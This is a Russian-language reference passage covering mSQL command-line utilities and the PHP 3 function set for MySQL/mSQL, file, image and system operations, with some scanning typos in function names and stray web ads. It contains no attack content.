Демон сервера mSQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (кроме отключений для обслуживания).

Параметры

-f file

Использовать альтернативный файл конфигурации.

msqladmin

msqladmin [options] command

Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и других административных функций.

Команды

copy database newdatabase

Создает точную копию базы данных под другим именем.

create database

Создает новую пустую базу данных.

drop database

Удаляет базу данных и уничтожает ее содержимое.

move database newdatabase

Переименовывает базу данных.

reload

Перечитывает файлы конфигурации.

shutdown

Выключает сервер баз данных.

stats

Показывает статистику сервера баз данных. Среди выдаваемой информации имеются данные о текущих подключениях к базе данных; показывается, какие базы данных используются и каково количество запросов, посланное каждым подключившимся.

version

Показывает информацию о версии сервера баз данных.

Параметры

-f file

Использовать альтернативный файл конфигурации.

-h hostname

Подключиться к серверу баз данных на удаленном хосте.

-q

Не запрашивать подтверждения команд.

msqldump

msqldump [options] database [table]

Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL.

Параметры

-с

Выводить полные инструкции INSERT.

-f file

Использовать альтернативный файл конфигурации.

-h hostname

Подключиться к серверу баз данных на удаленном хосте.

-t

Создавать дамп только операторов создания таблиц; не выводить данные.

-w statement

Использовать оператор WHERE для ограничения выводимых данных.

-V

Показать информацию о процессе, пока создается дамп данных.

msqlexport

msqlexport [options] database table

Выдает содержимое указанной таблицы в формате с разделителями в стиле ASCII.

Параметры

-е character

Использовать character для экранирования любых разделителей, найденных в данных.

-h hostname

Подключиться к серверу баз данных на удаленном хосте.

-q character

Символ, обрамляющий каждое значение данных.

-s character

Символ, используемый для разделения данных.

-v

Показать информацию о процессе, пока происходит экспорт данных.

msq Iimport

msqlimport [options] database table

Читает файл с ASCII-разделителями и записывает данные в указанную таблицу.

Параметры

-е character

Символ, используемый как управляющий в файле данных.

-h hostname

Подключиться к серверу баз данных на удаленном хосте.

-q character

Символ, обрамляющий каждое значение данных.

-s character

Символ, используемый для разделения данных.

-V

Показать информацию о процессе, пока происходит вставка данных.

relshow

relshow [options] [database] [table] [index|_seq]

Показывает структуру указанной базы данных, таблицы, индекса или последовательности данных. Если не задать аргументов, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре заданной базы данных. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, третий аргумент должен быть либо индексом указанной таблицы, либо _seq, и в этом случае будет выдана информация о последовательности данных таблицы.

Параметры

-f file

Использовать альтернативный файл конфигурации.

-h hostname

Подключиться к серверу баз данных на удаленном хосте.

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.


  • Глава №18. Справочник по РНР и Lite
    • PHP
    • Lite

Глава №18.

Справочник по PHP и Lite

PHP

Здесь вы найдете краткое справочное руководство по РНР. Список приведенных функций относится к РНР 3. Описаны те функции, которые работают с MySQL и mSQL, но пропущены функции для работы с другими серверами баз данных, такими как Ababas D, dbm, Oracle и PostgreSQL.

abs

$pos_num = abs($number);

Abs возвращает абсолютное значение аргумента number.

addslashes

$escaped_string = addslashes($string); .

Возвращает копию строки string , в которой экранированы все символы $ \ или '.

asort

$sorted_array = asort($array);

Возвращает отсортированную копию ассоциативного массива array, asort работает только с ассоциативными массивами. Для сортировки обычных массивов используйте sort. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

bindec

$decimal = bindec($binary);

Функция возвращает десятичный эквивалент указанного двоичного числа binary.

ceil

$higher_integer = ceil($number);

Округляет заданное число до следующего целого числа и возвращает результат как число с плавающей запятой.

chdir

chdir($directory);

Изменяет текущий рабочий каталог на каталог, заданный аргументом.

chgrp

chgrp($file,Sgroupj;

Изменяет идентификатор группы заданного файла на группу, указанную в аргументе.

chimed

chimed($file,$permissions);

Функция изменяет права доступа к файлу на указанные в аргументе permissions . Этот аргумент задается в восьмеричном виде.

chown

chown($file, Sowner);

Изменяет владельца заданного файла на указанного в аргументе owner. Эта функция будет работать только в том случае, если РНР выполняется от имени суперпользователя, что обычно не рекомендуется.

chop

$stripped_string = chop($string);

Возвращает строку string , у которой удалены все имевшиеся концевые пробелы, табуляции и символы новой строки.

chr

$character = chr($number);

Возвращает символ ASCII, соответствующий заданному числовому аргументу. Шестнадцатеричные и восьмеричные числа обозначаются как 0xff и 077 соответственно. Остальные числа считаются десятичными.

clearstack

clearstack();

Очищает текущий стек. Эта функция создана специально, чтобы обойти некоторые ограничения в дизайне РНР. Если у вас есть пользовательская функция, содержащая большой цикл, вы можете столкнуться с проблемами, связанными с нехваткой стекового пространства. Если это происходит, вызовите clearstack() из этого цикла. Недостаток данного метода в том, что вашу функцию невозможно будет вызвать из другой функции. Результат функции следует сохранить в переменной, которая может быть затем использована по вашему усмотрению.

clearstatcache

clearstatcache();

Очищает кэш, используемый всеми функциями, которые получают информацию о файлах. Так как доступ к такой информации занимает достаточно много времени, РНР хранит ее в кэше. Если вам необходи-ма уверенность, что используете самую свежую информацию о файле (то есть не кэшированную), вызовите функцию clearstatcache(); перед получением этой информации.

closedir

closed!r($directorу);

Закрывает каталог, открытый функцией opendir.

closelog

closelog();

Останавливает всю журнализацию, выполняемую функцией syslog .

COS

$result = cos($number);

Возвращает косинус аргумента number.

count

$number = count($array);

Возвращает число элементов в массиве array. Если переменная не является массивом, функция вернет значение 1 (так как переменная подобна массиву с только одним элементом). Если аргумент array не указан, функция вернет 0.

crypt

$encrypted_string = crypt($string);

$encrypted_string = crypt($string, $salt);

Шифрует заданную строку. Используется стандартный метод шифрования Unix - DES, тот же, что используется для шифрования паролей и т. д. Можно задать необязательный двухсимвольный аргумент salt (база для шифрования).

date

$formatted_date = date($format,$time);

Вернет time (стандарное время Unix, выдаваемое функцией Time), отформатированное в указанный format. Возвращаемое значение имеет тот же вид, что и format, где все указанные ниже символы заменены на соответствующие значения:

А АМ/РМ

a am/pm

D День (например Sun)

d День (например 13)

F Месяц (например February)

Н Час в 24-часовом формате (например 17)

h Час в 12-часовом формате (например 5)

i Минуты (например 30)

l День (например Sunday)

М Месяц (например Feb)

m Месяц (например 02)

s Секунды (например 27)

Y Год (например 1998)

у Год (например 98)

U Секунды с начала эпохи (отсчета) (например 803537321)

Z День года (например 154)

dblist

$db_info = dblist();

Вернет список СУБД, поддерживаемых РНР.

decbin

$binary = decbin($decimal);

Возвращает двоичный эквивалент указанного десятичного числа.

dexhex

$hex = dechex($decimal);

Возвращает шестнадцатеричный эквивалент указанного десятичного числа.

decoct

$octal = decoct($decimal);

Возвращает восьмеричный эквивалент указанного десятичного числа.

doubleval

$double = doubleval($variable);

Возвращает значение переменной в виде числа с плавающей запятой.

echo

echo [format_string] expression [, expression ...]

He является настоящей функцией, скорее, это встроенная в РНР версия функции printf языка С. В самом простом варианте echo напечатает результат выражения expression . Можно указать до пяти выражений, результат каждого из которых будет напечатан по очереди. Также можно указать строку форматирования, которая должна иметь тот же вид, что и в функции printf языка С или Perl.

end

end($array);

Устанавливает внутренний указатель массива array на последний элемент массива.

ereg

$result = ereg($expression, $string);

$result = ereg($expression, $string, $match_array);

Вернет true, если строка string отвечает регулярному выражению в expression . Если в качестве третьего аргумента указан массив, значение, отвечающее выражению, будет помещено в массив.

eregi

$result = eregi($expression, $string);

$result = eregi($expression, Sstring, $match_array);

Идентично ereg, за исключением того, что при сравнении игнорируется регистр.

ereg_replace

ereg_replace($expression, $replacement_string, $string);

Замещает все части в указанной строке string , которые отвечают выражению expression , строкой replacement_string.

eregi_replace

eregi_replace($expression, $replacement_string, $string);

Идентично ereg_replace, за исключением того, что при сравнении игнорируется регистр.

escapeshellcmd

$safe_string = escapeshellcmd(Sstring);

Возвращает копию строки string, все спецсимволы которой перекодированы так, что строку можно безопасно использовать с функциями exec или system.

eval

eval($string);

Обрабатывает содержимое строки string таким образом, как если бы это был скрипт РНР. Для строки выполняется подстановка переменных, поэтому, если вы хотите использовать переменную в этом «минискрипте», ее следует заэкранировать.

exec

$last_line = exec($command);

$last_line = exec($command, $output_array);

$last_line = exec($command, $output_array, $return_code);

Выполняет в вызываемой подоболочке Unix команду command . Возвращается только последняя строка результата команды. Если вторым аргументом указан массив, все строки, выводимые командой, будут помещены в него. Если есть третий аргумент, в эту переменную записывается код возврата команды.

exit

exit();

Завершение синтаксического анализа HTML-файла.

ехр

$result = exp($number);

Возвращает число е, возведенное в указанную степень.

fclose

fclose($fd);

Закрывает файл, открытый fopen.

feof

$result = feof($fd);

Возвращает true, если файловый дескриптор fd находится в конце файла.

fgets

$line = fgets($fd, $max_bytes);

Возвращает следующую строку (длиной до max_bytes ) из файла, на который указывает fd.

fgetss

$line = fgetss($fd, $max_bytes);

Идентична fgets за исключением того, что эта функция пытается удалить любые теги HTML или РНР при чтении файла.

file

$аггау = file($filename);

Возвращает массив, каждый элемент которого содержит строку файла, указанного в filename.

fileatime

$time = fileatime($filename);

Возвращает (в стандартном формате времени Unix) время последнего доступа к файлу filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает — 1.

filectime

$time = filectime($filename);

Возвращает время (в стандартном формате времени Unix) последнего изменения статуса файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

filegroup

$group_id = filegroup($filename);

Возвращает идентификатор группы файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

fileinode

$inode = fileinode($filename);

Возвращает индексный дескриптор файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

filemtime

$time = filemtime($filename);

Возвращает время (в стандартном формате времени Unix) последнего изменения файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

fileowner

$owner = fileowner($filename);

Возвращает ID владельца файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

fileperms

$permissions = fileperms($filename);

Возвращает права доступа к указанному в filename файлу. Если эта информация по каким-либо причинам не может быть получена, функция возвращает —1.

filesize

$size = filesize($filename);

Возвращает размер файла в байтах. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

filetype

$type = filetype($filename);

Возвращает одно из следующих значений, указывающих на тип файла

filename : dir, file, fifo, char, block или link.

floor

$lower_integer = floor($number);

Округляет число number до ближайшего меньшего целого и возвращает результат в виде числа с плавающей запятой.

flush

flush();

Сбрасывает содержимое буфера на стандартный вывод, так что конечный пользователь сразу видит все результаты.

fopen

$fd = fopen($filename, $mode);

Открывает файл в режиме mode и возвращает указатель на дескриптор, связанный с открытым файлом. Как и в функции fopen языка С, режим может быть одним из следующих: «r», «r+», «w», «w+», «a», «а+». Функция возвращает -1, если файл невозможно открыть.

fputs

fputs($fd, $string);

Записывает строку string в файл, связанный с дескриптором fd.

fpassthru

fpassthru($fd);

Печатает все оставшиеся данные файла, на который указывает дескриптор fd.

fseek

fseek($fd, $position);

Устанавливает дескриптор файла fd на позицию (смещение от начала файла), указанную в аргументе position.

fsockopen

$fd = fsockopen($hostname,$port);

Открывает соединение с hostname на порте port и возвращает дескриптор файла, связанный с открытым соединением. Если номер порта равен 0, аргумент hostname будет рассматриваться как имя в стиле имени файла сокета Unix на локальном хосте. В случае ошибки функция вернет следующие значения: -3, если не удалось создать сокет; —4, если не удалось разрешить имя хоста (установить IP-адрес); —5, если в соединении было отказано или оно закончилось по тайм-ауту; -6, если потерпел неудачу вызов fdopen() и, наконец, -7, если потерпел неудачу вызов setvbuf().

ftell

Sposition = ftell($fd);

Возвращает позицию указателя в файле, связанном с fd. Это значение можно использовать в качестве аргумента для fseek.

getaccdir

$directory = getaccdir();

Возвращает имя каталога, где хранятся файлы конфигурации РНР.

getenv

$value = getenv($variable);

Возвращает значение переменной окружения, указанной в variable .

gethostbyname

Saddress = gethostbyname($hostname);

Возвращает IP-адрес указанного в hostname хоста.

gethostbyaddr

$hostname = gethostbyaddr($address);

Возвращает имя хоста по указанному IP адресу.

getimagesize

$file_info_array = getimagesize($filename);

Возвращает массив информации о графическом изображении в указанном filename. Первый элемент массива- ширина изображения, второй - высота, и третий - тип рисунка. В настоящее время распознаются типы GIF, JPG и PNG. Четвертым элементом является строка формата «width=xxx height=yyy», которая может непосредственно использоваться в теге HTML <IMG>.

getlastaccess

$time = getlastaccess();

Возвращает дату и время (в стандартном формате Unix) последнего обращения к странице. Эта функция будет работать, только если РНР был откомпилирован с опцией регистрации доступа.

getlastbrowser

$browser = getlastbrowser();

Возвращает идентификационную строку броузера, использованного при последнем обращении к текущей странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

getlastemail

$email = getlastemail();

Возвращает адрес электронной почты пользователя, который последним обращался к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

getlasthost

$host = getlasthost();

Возвращает имя хоста, с которого было сделано последнее обращение к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

getiastmod

$time = getlastmod();

Возвращает время (в стандартном формате времени Unix) последнего изменения страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

getlastref

$url = getlastref();

Возвращает URL узла, с которого пришел последний посетитель страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

getlogdir

$directory = getlogdir();

Возвращает каталог, в котором находятся журналы регистрации РНР.

get my in ode

$inode = getmyinode();

Возвращает указатель inode HTML-файла, содержащего текущий скрипт РНР.

getmypid

$pid = getmypid();

Возвращает идентификатор текущего РНР-процесса.

getmyuid

$id = getmyuid();

Возвращает идентификатор пользователя владельца HTML-файла, содержащего текущий скрипт.

getrandmax

$number = getrandmax();

Возвращает максимально возможное число, которое может вернуть функция rand.

getstartlogging

$time = getstartlogging();

Возвращает время (в стандартном формате Unix) начала регистрации на странице HTML, которая содержит текущий скрипт.

gettoday

$hits = gettoday();

Возвращает число обращений к данной странице, начиная с 0 часов текущих суток.

gettotal

$hits = gettotal();

Возвращает общее число обращений к текущей странице с начала регистрации доступа к странице.

gettype

$type = gettype($variable);

Возвращает одно из следующих значений: «integer», «double» или «string», указывающих на тип заданной переменной variable .

gmdate

$formatted_date = gmdate($format, $time);

Идентично Date за исключением того, что для обработки значений используется время по Гринвичу (GMT) вместо местного времени.

header

header($header_string);

Выводит header_string как HTTP-заголовок. Эта функция должна использоваться перед любым HTML-текстом в файле и перед любыми командами РНР, которые выдают какой-либо результат.

hexdec

$decimal = hexdec($hex);

Возвращает десятичный эквивалент шестнадцатеричного аргумента hex.

htmlspecialchars

$html_string = htmlspecialchars($string);

Возвращает строку string, заменяя любые специальные символы (включая <, >, &, " и все ASCII-символы с кодами от 160 до 255) на соответствующие им HTML-коды.

imagearc

imagearc($image, $сх, $су, $width, $height, $start, $end, $color);

Рисует сектор эллипса в изображении image цветом, указанным в color. Центр эллипса находится в точке (сх, су), ширина указана аргументом width, высота- height, начальная и конечная точки указываются в градусах аргументами start и end соответственно.

imagechar

imagechar($image, $size, $x, $y, $character, $color);

Рисует символ character в изображении image цветом, назначенным в color, с размером шрифта size. Левый верхний угол символа находится в точке (х, у).

imagecharup

imagecharup($image, $size, $x, $y, $character, $color);

Функция идентична imagechar за исключением того, что символ выводится вертикально, (х, у) указывают на координаты верхнего левого угла.

imagecolorallocate

$color = imagecolorallocate($image, $red, $green, $blue);

Возвращает цвет для работы с изображением image, используя указанные RGB-компоненты.

imagecolortransparent

imagecolortransparent($image, $color);

Устанавливает color как прозрачный цвет для изображения image.

imagecopyresized

imagecopyresized($dest_image, $src_image, $dest_x, $dest_y, $src_x, $src_y, $dest_width, $dest_heigth, $src_width, $src_heigth);

Копирует прямоугольную область из изображения src_image в изображение dest_image , изменяя размер, если это необходимо. Аргументы dest_x и dest_y являются координатами левой верхней вершины прямоугольника в принимающем изображении, a dest_height и dest_width - его высотой и шириной. Аргументы src_x, src_y,' src_width, и src_heigth являются соответствующими значениями для изображения-источника.

imagecreate

$image = imagecreate($width, $height);

Возвращает идентификатор изображения, указывающий на новое изображение с заданными размерами.

imagecreatefromgif

$image = imagecreatefromgif($filename);

Возвращает идентификатор изображения, указывающий на изображение в заданном файле filename .

imagedestroy

imagedestroy($image);

Освобождает все ресурсы, занятые image.

imagefill

imagefill($image, $х, $у, $color);

Выполняет заливку изображения image цветом color, начиная с точки (х,у).

imagefilledpolygon

imagefilledpolygon($image, $points_array, $num_points, $color);

Создает многоугольник в image, заполненный цветом color. Второй аргумент является массивом вершин многоугольника. Первые два элемента - это значения х и у первой вершины. Следующие два элемента— координаты следующей вершины и т. д. Третий аргумент указывает на число вершин многоугольника.

imagefilledrectangle

imagefilledrectangle($image, $х1, $у1, $х2, $у2, $color);

Создает прямоугольник в image, заполненный цветом color. Аргументы х1 и у1 образуют верхнюю левую вершину прямоугольника, а х2 и у2 — правую нижнюю.

imagefilltoborder

imagefilltoborder($image, $x, $y, $border, $color);

Функция идентична imagefill за исключением того, что заливка цветом прекращается там, где встречается цвет border.

imagegif

imagegif($image);

imagegif($image, $filename);

Выводит изображение image как рисунок GIF. Если указан второй аргумент, рисунок GIF будет записан в этот файл, иначе он будет направлен прямо в броузер.

imageinterlace

imageinterlace($image, $interlace);

Функция переключает бит чередования для изображения image на значение interlace , которое может быть равно 1 (включить) или 0 (выключить).

imageline

imageline($iraage, $х1, $у1, $х2, $у2, $color);

Создает линию указанного в color цвета от точки (х1, у2) до точки (х2, у2) в изображении image.

imagepolygon

imagepolygon($image, $points, $numpoints, $color);

Функция идентична imagef illedpolygon за исключением того, что многоугольник не заполняется.

imagerectangle

imagerectangle($image, $х1, $у1, $х2, $у2, $color);

Функция идентична imagefilledrectangle за исключением того, что прямоугольник не заполняется.

imagesetpixel

imagesetpixel($image, $x, $y, $color);

Рисует точку в изображении image в позиции (х, у) цветом, указанным в color.

imagestring

imagestring($image, $size, $x, $y, $string, $color);

Функция идентична imagechar за исключением того, что она выводит всю строку string.

imagestring up

imagestringup($image, Ssize, $x, $y, $string, $color);

Функция идентична imagecharup за исключением того, что она выводит всю строку string.

imagesx

$x_size = imagesx($image);

Возвращает ширину в пикселах изображения, указанного в image.

imagesy

$y_size = imagesy($image);

Возвращает высоту изображения в пикселах.

include

include($filename);

Вставляет файл, указанный в filename , в текущую страницу. Выполняется полный синтаксический PHP-анализ подключаемого файла. В поисках файла filename просматривается каждый из каталогов, указанных в переменной окружения PHP_INCLUDE_ PATH.

initsyslog

initsyslog();

Подготавливает систему к регистрации событий с помощью syslog. После вызова этой функции вы можете использовать syslog для записи в журнал.

intval

$integer = intval($variable);

Возвращает содержимое variable в виде целого числа.

isset

$defined = isset($variable);

Возвращает 1, если переменная variable определена, иначе вернет 0.

key

$key = key($array);

Возвращает ключ текущего элемента массива array. Для ассоциативного массива возвращает имя ключа. Для обычного массива возвращает номер элемента.

link

link($target, $filename);

Создает жесткую ссылку от filename к target.

linkinfo

$info = linkinfo($filename);

Возвращает истинное значение, если ссылка, указанная в filename , существует (но не обязательно существует файл, на который указывает ссылка). В случае ошибки функция возвращает —1.

log

$result = log($number);

Возвращает натуральный логарифм аргумента number.

log10

$result = Iog10($number);

Возвращает логарифм по основанию 10 аргумента number.

logas

logas($filename);

Регистрирует посещение текущей страницы как посещение указанного filename вместо файлового имени страницы.

mail

mail($to, $subject, $message);

mail($to, $subject, $message, $headers);

Посылает электронное письмо по адресу, указанному в параметре to, с темой, указанной в параметре subject, и поместит в тело письма значение аргумента message . Если указан четвертый аргумент, он добавляется к заголовку письма.

max

$maximum = max($array);

Возвращает максимальное значение в массиве array. Если это строковый массив, функция возвращает элемент, последний по алфавиту.

md5

$hash = md5($string);

Возвращает хэш (MD5) строки string .

microtime

$ms = microtime();

Возвращает строку, содержащую часть текущей секунды (в виде десятичной дроби), за которой следует стандартное время Unix.

min

$minimum = min($array);

Возвращает минимальное значение в массиве array. Если это строковый массив, функция вернет элемент, который был бы первым по алфавиту.

mkdir

mkdir($directory, $mode);

Создает каталог directory с указанным режимом mode, mode должно быть восьмеричным значением.

mktime

$time = mktime($hour,$minute,$second,$month,$day, Syear);

Возвращает время в стандартном формате времени Unix, основываясь на заданных аргументах. Если указано менее шести параметров, параметры справа считаются соответствующими текущему значению времени (например, если дано четыре параметра, используются текущий день и год).

msql mysql

$result = msql($database, $query);

$result = mysql($database, $query);

Посылает запрос query базе данных mSQL/MySQL, указанной в аргументе database. Для не SELECT-запросов функция возвращает 0 для mSQL 1.x и MySQL, а для mSQL 2.x возвращает число измененных записей. Для запроса SELECT функция возвращает идентификатор результата, который может быть использован в других функциях msql_ *. В случае ошибки функция вернет -1.

my sql_af f ected_ro ws

$num_rows = mysql_affected_rows();

Возвращает число записей, измененных последней из команд INSERT, UPDATE или DELETE.

msql_close mysql_close

msql_close(); mysql_close();

Закрывает подключение к серверу базы данных mSQL/MySQL.

msql_connect mysql_connect

msql_connect($hostname);

mysql_connect($hostname);

mysql_connect($hostname, Susername);

mysql_connect($hostname, $username, Spassword);

Создает соединение с сервером базы данных mSQL/MySQL на указанном хосте hostname. Подключение к серверу на локальном хосте осуществляется с помощью m(y)sql_connect("localhost"). Если при первом вызове m(y)sql нет подключения к базе данных, подключение к локальному хосту создается автоматически. Для MySQL может быть указан необязательный аргумент username или комбинация username/ password. Если PHP запущен в расширенном режиме безопасности (называемом SAFE MODE), username должен принадлежать либо владельцу HTML-документа, либо владельцу процесса веб-сервера.

msql_createdb mysql_createdb

msql_createdb($database); mysql_createdb($database);

Создает указанную базу данных.

msql_dbname mysql_dbname

$db = msql_dbname($result, $i);

$db = mysql_dbname($result, $i);

Вернет имя базы данных, хранящееся в i-том поле результата, возвращенного функцией m(y)sql_listdbs .

msql_dropdb mysql_dropdb

msql_dropdb($database);

mysql_dropdb($database);

Удаляет базу данных database и все ее таблицы.

msqHieldflags mysql_fieldflags

$flags = msql_fieldflags($result, $i);

$flags = mysql_fieldflags($result, $i);

Возвращает флаги для в i-того поля в result. Возвращаемое значение может быть одним из следующих: «primary key», «not null», «not null primary key» или << >>.

msql_fieldlen mysql_fieldlen

$length = msql_fieldlen($result, $i);

$length = mysql_fieldlen($result, $i);

Возвращает длину i-го поля в result.

msql_fieldname mysql_fieldname

$name = msql_fieldname($result, $i);

$name = mysql_fieldname($result, $i);

Возвращает имя столбца i-го поля в result .-

msql_fieldtype mysql_fieldtype

$type = msql_fieldtype($result, $i);

$type = mysql_fieldtype($result, $i);

Возвращает тип i-го поля в result (то есть «char», «real» и т. д.).

msql_freeresult mysql_freeresult

msql_freeresult($result);

mysql_freeresult($result);

Освобождает память, связанную с результатом работы mSQL/MySQL. Вся память автоматически освобождается по завершении скрипта, поэтому используйте эту функцию, только если ваш скрипт занимает слишком много памяти.

mysql_insertjd

$id_num = mysql_insert_id();

Возвращает идентификационный номер, использовавшийся при последней команде INSERT, содержавшей поле auto_increment.

msql_listdbs mysql_listdbs

$result = msql_listdbs();

$result = mysql_listdbs();

Возвращает указатель на результат, содержащий список имен всех баз данных, доступных на сервере mSQL/MySQL. Функция m(y)sql_dbname может выбирать значения из этого указателя.

msql_listfields mysql_listfields

$result = msql_listfields($database, $table);

$result = mysqllistfields($database, $table);

Вернет указатель на результат, дающий информацию о полях таблицы table в назначенной базе данных. Функции m(y)sql_fieldflags , m(y)sql_fieldlen , m(y)sql_fieldname и m(y)sql_ fieldtype могут выбирать значения из этого указателя.

msql_isttables mysql_listtables

$result = msql_listtables($database);

$result = mysql_listtables($database);

Возвращает указатель на результат, содержащий имена всех таблиц базы данных database . Функция m(y)sql_tablename может выбирать значения из этого указателя.

msql_numfields mysql_numfields

$num_fields = msql_numfields($result);

$nuni_fields = mysql_numfields($result);

Возвращает число полей в result.

msql_nurn rows msql_numrows

$num_rows = msql_numrows($result);

$num_rows = mysql_numrows($result);_

Возвращает количество записей в result.

msql_regcase

$new_string = msql_regcase($string);

Возвращает копию строки string, преобразованную в регулярное выражение, необходимое для выполнения поиска не зависящих от регистра совпадений в запросе mSQL.

msql_result mysql_result

$result_string = msql_result($result, $i, $field);

$result_string = mysql_result($result, $1, $field);

Данная функция возвращает значение из указанного поля field 1-й записи набора result. Аргумент field - это имя столбца, и он может быть указан как table, field для результирующих наборов, использующих соединения таблиц. В аргумент field допускается включение любой внутренней функции MySQL, которая может обрабатывать результаты SELECT, например, mysql_result ($result, $i, "length($field)") .

msqljtablename mysql_tablename

$name = msql_tablename($result, $i);

$name = mysql_tablename($result, $i);

Вернет имя таблицы, хранящееся в i-м поле результата, возвращенного функцией m(y)sql_listtables .

next

next($array);

Перемещает указатель массива array на следующий элемент и возвращает текущий.

octdec

$decimal = octdec($octal);

Возвращает десятичный эквивалент восьмеричного аргумента octal.

opendir

opendir($directory);

Открывает указанный каталог для использования с функцией readdir. Вы должны закрыть каталог с помощью closedir после работы с ним.

openlog

openlog($ident, $options, $facllity);

Открывает для записи системный журнал. Эту функцию необходимо вызывать после initlog и до первого вызова syslog . Аргументы те же, что и при вызове системной функции Unix openlog . Значение ident предваряет каждую запись журнала и обычно является именем программы. Значение options может быть одним из следующих: LOG_CONS (выводить журнал на консоль, если произошла ошибка в стандартной процедуре); LOG_NDELAY (открыть журнал немедленно вместо ожидания первой записи журнала); LOG_PERROR (записывать также в stderr); LOG_PID (включать идентификатор процесса (PID) в каждую запись журнала). Можно комбинировать эти параметры с помощью побитового ИЛИ (например (LOG_DELAY | LOG_PERROR LOG_PID)). Facility - это один из установленных системой уровней журнализации (например, LOG_SYSLOG, LOG_USER, LOG_KERN и т. д.).

ord

$number = ord($character);

Возвращает ASCII-значение символа character.

parse_str

parse_str($string);

Разбирает строку URL в формате "переменная 1=значение1 &переменная2=значение2" и инициализирует переменные, присваивая им соответствующие значения. Программа РНР выполняет эту функцию автоматически для приходящих из форм данных в начале каждого скрипта.

passthru

passthru($command);

passthru($command, $returevalue);

Выполняет внешнюю команду command и выдает все результаты ее выполнения непосредственно броузеру. Если указан второй аргумент, туда помещается возвращаемое значение.

pclose

pclose($fd);

Закрывает канал, открытый функцией рореп.

phpinfo

phpinfo();

Печатает информационную страницу, полезную при отладке установки РНР. Это та же страница, которая печатается при добавлении «?info» к любому РНР URL, или если вы обращаетесь непосредственно к двоичным файлам РНР (то есть, http://www.myserver.com/cgi-bin/php) .

phpversion

$version = phpversion();

Возвращает номер версии текущего запущенного РНР.

popen

$fd = popen($command, $mode);

Запускает внешнюю команду command и либо посылает ей данные (если установлен режим записи: mode = «w»), либо читает данные из команды (если в mode указать «r»). Любой файловый дескриптор, открытый таким образом, должен быть закрыт функцией pclose.

pos

$position = pos($array['element']);

Возвращает число - позицию указанного элемента ' element' в ассоциативном массиве а г ray.

pow

$result = pow($x, $y);

Возвращает х, возведенное в степень у.

prev

Selement = prev($array);

Перемещает внутренний указатель массива а г ray на предыдущий элемент и возвращает его.

putenv

putenv($string);

Помещает заданную строку string в окружение. Обратите внимание, что локальная среда окружения уничтожается по окончании выполнения скрипта, поэтому эта функция полезна только при вызове внешних программ из скрипта.

quote met a

$quoted_string = quotemeta($string);

Возвращает строку string, в которой все специальные символы экранированы таким образом, что ее можно безопасно использовать в регулярных выражениях.

rand

$number = rand();

Возвращает случайное число в диапазоне от 0 и до числа RANDMAX, определяемого системой. Вы должны указать начальное число генератору случайных чисел, используя srand в начале вашего скрипта. Сделать это необходимо только один раз.

readdir

$file = readdir();

Возвращает следующий элемент из текущего открытого каталога и сдвигает указатель каталога. Новые обращения к этой функции будут возвращать следующие элементы каталога до тех пор, пока записи об элементах каталога не закончатся.

readfile

$filesize = readfile($filename);

Выдает содержимое файла filename непосредственно броузеру и возвращает размер файла. Эту функцию можно спокойно выполнять с двоичными файлами, такими как файлы изображений.

readlink

$filename = readline($link);

Возвращает путь к настоящему файлу, на который ссылается link. В случае ошибки функция вернет -1.

reg_match

$result = reg_match($expression, $string);

$result = reg_match($expression, $string, $array);

Функция идентична ereg. Она поддерживается только для обратной совместимости с предыдущими версиями РНР.

reg_replace

reg_replace($expression, $replacement, $string);

Идентична ereg_replace. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

reg_search

$partial_string = reg_search($expression, $string);

$partial_string = reg_search($expression, $string, $array);

Функция идентична ereg за исключением того, что она возвращает часть строки string , оставшуюся после первого совпадения. Если совпадения не обнаружено, функция возвращает пустую строку. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

rename

rename($oldfile, $newfile);

Переименовывает oldfile в newfile .

reset

reset($array);

Перемещает внутренний указатель массива array на первый элемент и возвращает этот элемент.

return

return($value);

Выходит из пользовательской функции и возвращает значение value.

rewind

rewind($fd);

Устанавливает указатель файла f d в начало файла.

rewinddir

rewinddir();

Передвигает указатель текущего каталога на начало каталога.

rmdir

rmdir($directory);

Удаляет каталог directory , если он пуст.

rsort

$sorted_array = rsort($array)

Возвращает отсортированную в порядке убывания копию ассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

setcookie

setcookie($name);

setcookie($name, $value, $expire, $path, $domain, $secure);

Посылает броузеру cookie с указанными атрибутами. Если задано только имя name, cookie с таким именем будет удален из броузера. Для пропуска одного из аргументов он может быть заменен на "" (или на 0 в случае с expire и secure).

seterrorreporting

seterrorreporting($value);

Если значение value равно 0, выдача сообщений об ошибках отключается, иначе все сообщения выводятся в обычном режиме.

setlogging

setlogging($value);

Если значение value является ненулевым, журнализация доступа к текущей странице будет разрешена, иначе - запрещена.

setshowinfo

setshowinfo($value);

Если значение value не нулевое, внизу страницы будет напечатан информационный нижний колонтитул.

settype

settype($variable, $type);

Устанавливает тип переменной variable в тип type, который может быть integer, double или string .

shl

$value = shl($number, $b);

Возвращает значение number, сдвинутое влево на заданное в b число бит.

shr

$value = shr($number, $b);

Возвращает значение number, сдвинутое вправо на заданное в b число бит.

sin

$value = sin($number);

Возвращает синус аргумента number (в радианах).

sleep

sleep($seconds);

